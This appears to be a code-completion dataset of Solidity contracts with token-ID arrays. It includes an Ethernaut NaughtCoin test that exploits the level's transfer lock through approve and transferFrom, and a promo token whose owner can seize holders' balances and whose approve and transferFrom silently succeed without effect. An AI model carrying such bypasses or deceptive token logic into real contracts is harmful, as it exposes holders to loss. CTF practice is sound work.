function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract CSTKDropToken is ERC20, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint256 public decimals;
uint256 _totalSupply;
bool public started;
address public token;
struct Level {
uint256 price;
uint256 available;
}
Level[] levels;
mapping(address => uint256) balances;
mapping(address => mapping(string => uint256)) orders;
event TransferETH(address indexed from, address indexed to, uint256 eth);
event Sell(address indexed to, uint256 tokens, uint256 eth);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor(string _symbol, string _name, uint256 _supply, uint256 _decimals, address _token) public {
symbol = _symbol;
name = _name;
decimals = _decimals;
token = _token;
_totalSupply = _supply;
balances[owner] = _totalSupply;
started = false;
emit Transfer(address(0), owner, _totalSupply);
}
function destruct() public onlyOwner {
ERC20 tokenInstance = ERC20(token);
uint256 balance = tokenInstance.balanceOf(this);
if (balance > 0) {
tokenInstance.transfer(owner, balance);
}
selfdestruct(owner);
}
// ------------------------------------------------------------------------
// Changes the address of the supported token
// ------------------------------------------------------------------------
function setToken(address newTokenAddress) public onlyOwner returns (bool success) {
token = newTokenAddress;
return true;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Changes the total supply value
//
// a new supply must be no less then the current supply
// or the owner must have enough amount to cover supply reduction
// ------------------------------------------------------------------------
function changeTotalSupply(uint256 newSupply) public onlyOwner returns (bool success) {
require(newSupply >= 0 && (
newSupply >= _totalSupply || _totalSupply - newSupply <= balances[owner]
));
uint256 diff = 0;
if (newSupply >= _totalSupply) {
diff = newSupply.sub(_totalSupply);
balances[owner] = balances[owner].add(diff);
emit Transfer(address(0), owner, diff);
} else {
diff = _totalSupply.sub(newSupply);
balances[owner] = balances[owner].sub(diff);
emit Transfer(owner, address(0), diff);
}
_totalSupply = newSupply;
return true;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Start accept orders
// ------------------------------------------------------------------------
function start() public onlyOwner {
started = true;
}
// ------------------------------------------------------------------------
// Start accept orders
// ------------------------------------------------------------------------
function stop() public onlyOwner {
started = false;
}
// ------------------------------------------------------------------------
// Adds new Level to the levels array
// ------------------------------------------------------------------------
function addLevel(uint256 price, uint256 available) public onlyOwner {
levels.push(Level(price, available));
}
// ------------------------------------------------------------------------
// Removes a level with specified price from the levels array
// ------------------------------------------------------------------------
function removeLevel(uint256 price) public onlyOwner {
if (levels.length < 1) {
return;
}
Level[] memory tmp = levels;
delete levels;
for (uint i = 0; i < tmp.length; i++) {
if (tmp[i].price != price) {
levels.push(tmp[i]);
}
}
}
// ------------------------------------------------------------------------
// Replaces a particular level index by a new Level values
// ------------------------------------------------------------------------
function replaceLevel(uint index, uint256 price, uint256 available) public onlyOwner {
levels[index] = Level(price, available);
}
// ------------------------------------------------------------------------
// Clears the levels array
// ------------------------------------------------------------------------
function clearLevels() public onlyOwner {
delete levels;
}
// ------------------------------------------------------------------------
// Finds a level with specified price and returns an amount of available tokens on the level
// ------------------------------------------------------------------------
function getLevelAmount(uint256 price) public view returns (uint256 available) {
if (levels.length < 1) {
return 0;
}
for (uint i = 0; i < levels.length; i++) {
if (levels[i].price == price) {
return levels[i].available;
}
}
}
// ------------------------------------------------------------------------
// Returns a Level by it's array index
// ------------------------------------------------------------------------
function getLevelByIndex(uint index) public view returns (uint256 price, uint256 available) {
price = levels[index].price;
available = levels[index].available;
}
// ------------------------------------------------------------------------
// Returns a count of levels
// ------------------------------------------------------------------------
function getLevelsCount() public view returns (uint) {
return levels.length;
}
// ------------------------------------------------------------------------
// Returns a Level by it's array index
// ------------------------------------------------------------------------
function getCurrentLevel() public view returns (uint256 price, uint256 available) {
if (levels.length < 1) {
return;
}
for (uint i = 0; i < levels.length; i++) {
if (levels[i].available > 0) {
price = levels[i].price;
available = levels[i].available;
break;
}
}
}
// ------------------------------------------------------------------------
// Get the order's balance of tokens for account `customer`
// ------------------------------------------------------------------------
function orderTokensOf(address customer) public view returns (uint256 balance) {
return orders[customer]['tokens'];
}
// ------------------------------------------------------------------------
// Get the order's balance of ETH for account `customer`
// ------------------------------------------------------------------------
function orderEthOf(address customer) public view returns (uint256 balance) {
return orders[customer]['eth'];
}
// ------------------------------------------------------------------------
// Delete customer's order
// ------------------------------------------------------------------------
function cancelOrder(address customer) public onlyOwner returns (bool success) {
orders[customer]['eth'] = 0;
orders[customer]['tokens'] = 0;
return true;
}
// ------------------------------------------------------------------------
// Checks the order values by the customer's address and sends required
// promo tokens based on the received amount of `this` tokens and ETH
// ------------------------------------------------------------------------
function _checkOrder(address customer) private returns (uint256 tokens, uint256 eth) {
require(started);
eth = 0;
tokens = 0;
if (getLevelsCount() <= 0 || orders[customer]['tokens'] <= 0 || orders[customer]['eth'] <= 0) {
return;
}
ERC20 tokenInstance = ERC20(token);
uint256 balance = tokenInstance.balanceOf(this);
uint256 orderEth = orders[customer]['eth'];
uint256 orderTokens = orders[customer]['tokens'] > balance ? balance : orders[customer]['tokens'];
for (uint i = 0; i < levels.length; i++) {
if (levels[i].available <= 0) {
continue;
}
uint256 _tokens = (10**decimals) * orderEth / levels[i].price;
// check if there enough tokens on the level
if (_tokens > levels[i].available) {
_tokens = levels[i].available;
}
// check the order tokens limit
if (_tokens > orderTokens) {
_tokens = orderTokens;
}
uint256 _eth = _tokens * levels[i].price / (10**decimals);
levels[i].available -= _tokens;
// accumulate total price and tokens
eth += _eth;
tokens += _tokens;
// reduce remaining limits
orderEth -= _eth;
orderTokens -= _tokens;
if (orderEth <= 0 || orderTokens <= 0 || levels[i].available > 0) {
// order is calculated
break;
}
}
// charge required amount of the tokens and ETHs
orders[customer]['tokens'] = orders[customer]['tokens'].sub(tokens);
orders[customer]['eth'] = orders[customer]['eth'].sub(eth);
tokenInstance.transfer(customer, tokens);
emit Sell(customer, tokens, eth);
}
// ------------------------------------------------------------------------
// public entry point for the `_checkOrder` function
// ------------------------------------------------------------------------
function checkOrder(address customer) public onlyOwner returns (uint256 tokens, uint256 eth) {
return _checkOrder(customer);
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// - only owner is allowed to send tokens to any address
// - not owners can transfer the balance only to owner's address
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public returns (bool success) {
require(msg.sender == owner || to == owner || to == address(this));
address receiver = msg.sender == owner ? to : owner;
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[receiver] = balances[receiver].add(tokens);
emit Transfer(msg.sender, receiver, tokens);
if (receiver == owner) {
orders[msg.sender]['tokens'] = orders[msg.sender]['tokens'].add(tokens);
_checkOrder(msg.sender);
}
return true;
}
// ------------------------------------------------------------------------
// `allowance` is not allowed
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
tokenOwner;
spender;
return uint256(0);
}
// ------------------------------------------------------------------------
// `approve` is not allowed
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
spender;
tokens;
return true;
}
// ------------------------------------------------------------------------
// `transferFrom` is not allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public returns (bool success) {
from;
to;
tokens;
return true;
}
// ------------------------------------------------------------------------
// Accept ETH
// ------------------------------------------------------------------------
function () public payable {
owner.transfer(msg.value);
emit TransferETH(msg.sender, address(this), msg.value);
orders[msg.sender]['eth'] = orders[msg.sender]['eth'].add(msg.value);
_checkOrder(msg.sender);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Owner can transfer out promo token
// ------------------------------------------------------------------------
function transferToken(uint256 tokens) public onlyOwner returns (bool success) {
return transferAnyERC20Token(token, tokens);
}
// ------------------------------------------------------------------------
// Owner can return specified amount from `tokenOwner`
// ------------------------------------------------------------------------
function returnFrom(address tokenOwner, uint256 tokens) public onlyOwner returns (bool success) {
balances[tokenOwner] = balances[tokenOwner].sub(tokens);
balances[owner] = balances[owner].add(tokens);
emit Transfer(tokenOwner, owner, tokens);
return true;
}
// ------------------------------------------------------------------------
// Owner can return all tokens from `tokenOwner`
// ------------------------------------------------------------------------
function nullifyFrom(address tokenOwner) public onlyOwner returns (bool success) {
return returnFrom(tokenOwner, balances[tokenOwner]);
}
}
contract CSTK_CLT is CSTKDropToken('CSTK_CLT', 'CryptoStock CLT Promo Token', 100000 * 10**8, 8, 0x2001f2A0Cf801EcFda622f6C28fb6E10d803D969) {
}
|
------------------------------------------------------------------------ Returns a Level by it's array index ------------------------------------------------------------------------
|
function getCurrentLevel() public view returns (uint256 price, uint256 available) {
if (levels.length < 1) {
return;
}
for (uint i = 0; i < levels.length; i++) {
if (levels[i].available > 0) {
price = levels[i].price;
available = levels[i].available;
break;
}
}
}
| 1,430,049 |
[
1,
29461,
2860,
279,
4557,
635,
518,
1807,
526,
770,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
5175,
2355,
1435,
1071,
1476,
1135,
261,
11890,
5034,
6205,
16,
2254,
5034,
2319,
13,
288,
203,
565,
309,
261,
12095,
18,
2469,
411,
404,
13,
288,
203,
1377,
327,
31,
203,
565,
289,
203,
203,
565,
364,
261,
11890,
277,
273,
374,
31,
277,
411,
7575,
18,
2469,
31,
277,
27245,
288,
203,
1377,
309,
261,
12095,
63,
77,
8009,
5699,
405,
374,
13,
288,
203,
3639,
6205,
273,
7575,
63,
77,
8009,
8694,
31,
203,
3639,
2319,
273,
7575,
63,
77,
8009,
5699,
31,
203,
3639,
898,
31,
203,
1377,
289,
203,
565,
289,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.26;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract FlowTokLive is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function FlowTokLive() {
balances[msg.sender] = 641025650; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)
totalSupply = 641025650; // Update total supply (1000 for example) (CHANGE THIS)
name = "FlowTokLive"; // Set the name for display purposes (CHANGE THIS)
decimals = 0; // Amount of decimals for display purposes (CHANGE THIS)
symbol = "FLV"; // Set the symbol for display purposes (CHANGE THIS)
unitsOneEthCanBuy = 10; // Set the price of your token for the ICO (CHANGE THIS)
fundsWallet = msg.sender; // The owner of the contract gets ETH
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
}
|
Set the name for display purposes (CHANGE THIS)
|
name = "FlowTokLive";
| 10,255,822 |
[
1,
694,
326,
508,
364,
2562,
13694,
261,
14473,
20676,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
508,
273,
315,
5249,
20477,
12328,
14432,
4766,
565,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x2c4B291E7C62753a8003f22Ab4AAB5E627979183/sources/gist-325f23652d7c46a1121c62539ea948ec/AntiBot_public/Mishka_AntiBot_withTax.sol
|
Get AntiBot result
|
bool recipientAddress = AntiBot.scanAddress(_recipient, m_UniswapV2Pair, _origin);
| 3,164,914 |
[
1,
967,
18830,
77,
6522,
563,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5411,
1426,
8027,
1887,
273,
18830,
77,
6522,
18,
9871,
1887,
24899,
20367,
16,
312,
67,
984,
291,
91,
438,
58,
22,
4154,
16,
389,
10012,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import 'ds-test/test.sol';
import 'forge-std/Vm.sol';
import '../levels/15-NaughtCoin/NaughtCoinFactory.sol';
import '../core/Ethernaut.sol';
contract NaughtCoinTest is DSTest {
//--------------------------------------------------------------------------------
// Setup Game Instance
//--------------------------------------------------------------------------------
Vm vm = Vm(address(HEVM_ADDRESS)); // `ds-test` library cheatcodes for testing
Ethernaut ethernaut;
address attacker = address(0xdeadbeef);
function setUp() public {
ethernaut = new Ethernaut(); // initiate Ethernaut contract instance
vm.deal(attacker, 100 ether); // fund our attacker contract with 1 ether
}
function testNaughtCoinHack() public {
//--------------------------------------------------------------------------------
// Setup Level Instance
//--------------------------------------------------------------------------------
NaughtCoinFactory naughtcoinFactory = new NaughtCoinFactory();
ethernaut.registerLevel(naughtcoinFactory);
vm.startPrank(attacker);
address levelAddress = ethernaut.createLevelInstance{ value: 1 ether }(
naughtcoinFactory
);
NaughtCoin naughtcoinContract = NaughtCoin(payable(levelAddress));
//--------------------------------------------------------------------------------
// Start Level Attack
//--------------------------------------------------------------------------------
naughtcoinContract.approve(attacker, type(uint256).max);
naughtcoinContract.transferFrom(
attacker,
address(0x1),
naughtcoinContract.INITIAL_SUPPLY()
);
assertEq(naughtcoinContract.balanceOf(attacker), 0);
assertEq(
naughtcoinContract.balanceOf(address(0x1)),
1000000000000000000000000
);
//--------------------------------------------------------------------------------
// Submit Level
//--------------------------------------------------------------------------------
bool challengeCompleted = ethernaut.submitLevelInstance(
payable(levelAddress)
);
vm.stopPrank();
assert(challengeCompleted);
}
}
|
-------------------------------------------------------------------------------- Setup Game Instance--------------------------------------------------------------------------------
|
contract NaughtCoinTest is DSTest {
Ethernaut ethernaut;
address attacker = address(0xdeadbeef);
pragma solidity ^0.8.10;
function setUp() public {
}
function testNaughtCoinHack() public {
NaughtCoinFactory naughtcoinFactory = new NaughtCoinFactory();
ethernaut.registerLevel(naughtcoinFactory);
vm.startPrank(attacker);
naughtcoinFactory
);
NaughtCoin naughtcoinContract = NaughtCoin(payable(levelAddress));
naughtcoinContract.approve(attacker, type(uint256).max);
naughtcoinContract.transferFrom(
attacker,
address(0x1),
naughtcoinContract.INITIAL_SUPPLY()
);
assertEq(naughtcoinContract.balanceOf(attacker), 0);
assertEq(
naughtcoinContract.balanceOf(address(0x1)),
1000000000000000000000000
);
bool challengeCompleted = ethernaut.submitLevelInstance(
payable(levelAddress)
);
vm.stopPrank();
assert(challengeCompleted);
}
address levelAddress = ethernaut.createLevelInstance{ value: 1 ether }(
}
| 7,220,825 |
[
1,
28253,
18701,
10939,
14121,
5180,
28253,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
